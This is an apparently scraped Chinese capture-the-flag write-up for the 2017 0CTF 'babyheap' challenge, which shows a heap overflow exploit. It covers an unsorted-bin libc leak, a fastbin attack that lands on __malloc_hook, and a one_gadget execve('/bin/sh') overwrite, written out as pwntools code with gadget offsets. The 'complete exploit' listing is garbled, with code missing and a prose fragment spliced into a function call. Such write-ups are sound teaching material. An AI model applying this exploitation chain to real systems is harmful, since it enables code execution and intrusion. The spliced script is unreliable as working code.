2017-0ctf-babyheap
发布时间:2020-12-14 04:41:35 所属栏目:大数据 来源:网络整理
导读:fastbin attack + unsortedbin attack + __malloc_hook 的基础利用 题目下载 : https://uaf.io/assets/0ctfbabyheap 本题是2017 0ctf 很简单的一道题 先来看一下题目的基本信息 $ checksec babyheap Arch: amd64-64-little RELRO: Full RELRO Stack: Canary
fastbin attack + unsortedbin attack + __malloc_hook 的基础利用题目下载 : https://uaf.io/assets/0ctfbabyheap 本题是2017 0ctf 很简单的一道题 先来看一下题目的基本信息$ checksec babyheap Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled $ ./babyheap ===== Baby Heap in 2017 ===== 1. Allocate 2. Fill 3. Free 4. Dump 5. Exit Command: 保护全开,是一个典型的菜单题,结合ida,先写下这几个函数 def alloc(size): p.recvuntil('Command: ') p.sendline('1') p.sendline(str(size)) def fill(idx,payload): p.recvuntil('Command: ') p.sendline('2') p.sendline(str(idx)) p.sendline(str(len(payload))) p.send(payload) def free(idx): p.recvuntil('Command: ') p.sendline('3') p.sendline(str(idx)) def dump(idx): p.recvuntil('Command: ') p.sendline('4') p.sendline(str(idx)) p.recvuntil('Content: n') 然后在ida中发现 __int64 __fastcall fill(__int64 a1) { ... printf("Index: "); result = num(); v2 = result; if ( (signed int)result >= 0 && (signed int)result <= 15 ) { result = *(unsigned int *)(24LL * (signed int)result + a1); if ( (_DWORD)result == 1 ) { printf("Size: "); result = num(); v3 = result; if ( (signed int)result > 0 ) { printf("Content: "); ====> result = read____(*(_QWORD *)(24LL * v2 + a1 + 16),v3); ... 他并没有对输入的长度做判断,我们可以从一个堆块溢出到另一个堆块上 我们也可以对堆块的大小做控制
1. 通过unsortedbin attack 来leak出堆的地址alloc(0x10)#idx0 alloc(0x10)#idx1 alloc(0x30)#idx2 alloc(0x40)#idx3 alloc(0x60)#idx4 fill(0,p64(0x51)*4) #idx1 -> size =0x51 fill(2,p64(0x31)*6) #让被free的chunk检查到后面是在用的chunk free(1) alloc(0x40)#idx1 这个指针还是idx1的位置,但是可以读 idx2 ->fd 了 fill(1,p64(0x91)*4) #将idx2放进unsorted bin中 free(2) dump(1) p.recv(0x20) SBaddr = u64(p.recv(8)) p.recvline() malloc_hook=SBaddr-88-0x10 success('malloc_hook = '+hex(malloc_hook)) free(2)的时候我没有去控制 unsortedbin 会检查到下一个chunk 我把idx2->size改为0x91后,下一个chunk正好是idx4,上面申请的5个内存的大小是我精心构造的 完整exp如下: #!/usr/bin/env python # -*- coding: UTF-8 -*- from pwn import * p = process("./babyheap") elf=ELF('./babyheap') libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') #context.log_level='debug' context.terminal = ["tmux","splitw","-h"] context.arch = "amd64" def alloc(size): p.recvuntil('Command: ') p.sendline('1') p.sendline(str(size)) def fill(idx,payload): p.recvuntil('Command: ') p.sendline('2') p.sendline(str(idx)) p.sendline(str(len(payload))) p.send(payload) def free(idx): p.recvuntil('Command: ') p.sendline('3') p.sendline(str(idx)) def dump(idx): p.recvuntil('Command: ') p.sendline('4') p.sendline(str(idx)) p.recvuntil('Content: n') #-------leak main_arena - unsorted bin attack ------ alloc(0x10)#idx0 alloc(0x10)#idx1 alloc(0x30)#idx2 alloc(0x40)#idx3 alloc(0x60)#idx4 fill(0,但是可以读写 idx2 ->fd 了 fill(1,p64(0x91)*4) #将idx2放进unsorted bin中 free(2) dump(1) p.recv(0x20) SBaddr = u64(p.recv(8)) p.recvline() malloc_hook=SBaddr-88-0x10 success('malloc_hook = '+hex(malloc_hook)) #------------ 把malloc_hook申请出来 --------------------- free(4) payload=p64(0)*9+p64(0x71)+p64(malloc_hook-0x23) fill(3,payload) alloc(0x60)#idx2 alloc(0x60)#idx4 malloc_hook #----------- 改 malloc_hook --------------------------- libc_addr = malloc_hook-libc.symbols['__malloc_hook'] success('libc = '+hex(libc_addr)) payload=p64(libc_addr+0x4526a) #0x4526a在下面解释 shllcode='a'*0x13+payload fill(4,shllcode) alloc(1) p.sendline('bash') p.interactive() 我们需要在 __malloc_hook 写一个函数地址,用来getshell 0x4526a这个偏移里写的是这东西: <do_system+1098>: mov rax,QWORD PTR [rip+0x37ec47] <do_system+1105>: lea rdi,[rip+0x147adf] <do_system+1112>: lea rsi,[rsp+0x30] <do_system+1117>: mov DWORD PTR [rip+0x381219],0x0 <do_system+1127>: mov DWORD PTR [rip+0x381213],0x0 <do_system+1137>: mov rdx,QWORD PTR [rax] <do_system+1140>: call 0x7f7f36b27770 <execve> 这个位置是怎么找到的? 分享一个小工具: https://github.com/david942j/one_gadget.git $ one_gadget /lib/x86_64-linux-gnu/libc-2.23.so 0x45216 execve("/bin/sh",rsp+0x30,environ) constraints: rax == NULL 0x4526a execve("/bin/sh",environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh",rsp+0x50,environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh",rsp+0x70,environ) constraints: [rsp+0x70] == NULL $ 这4个地址一个一个的试去吧!骚年! (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |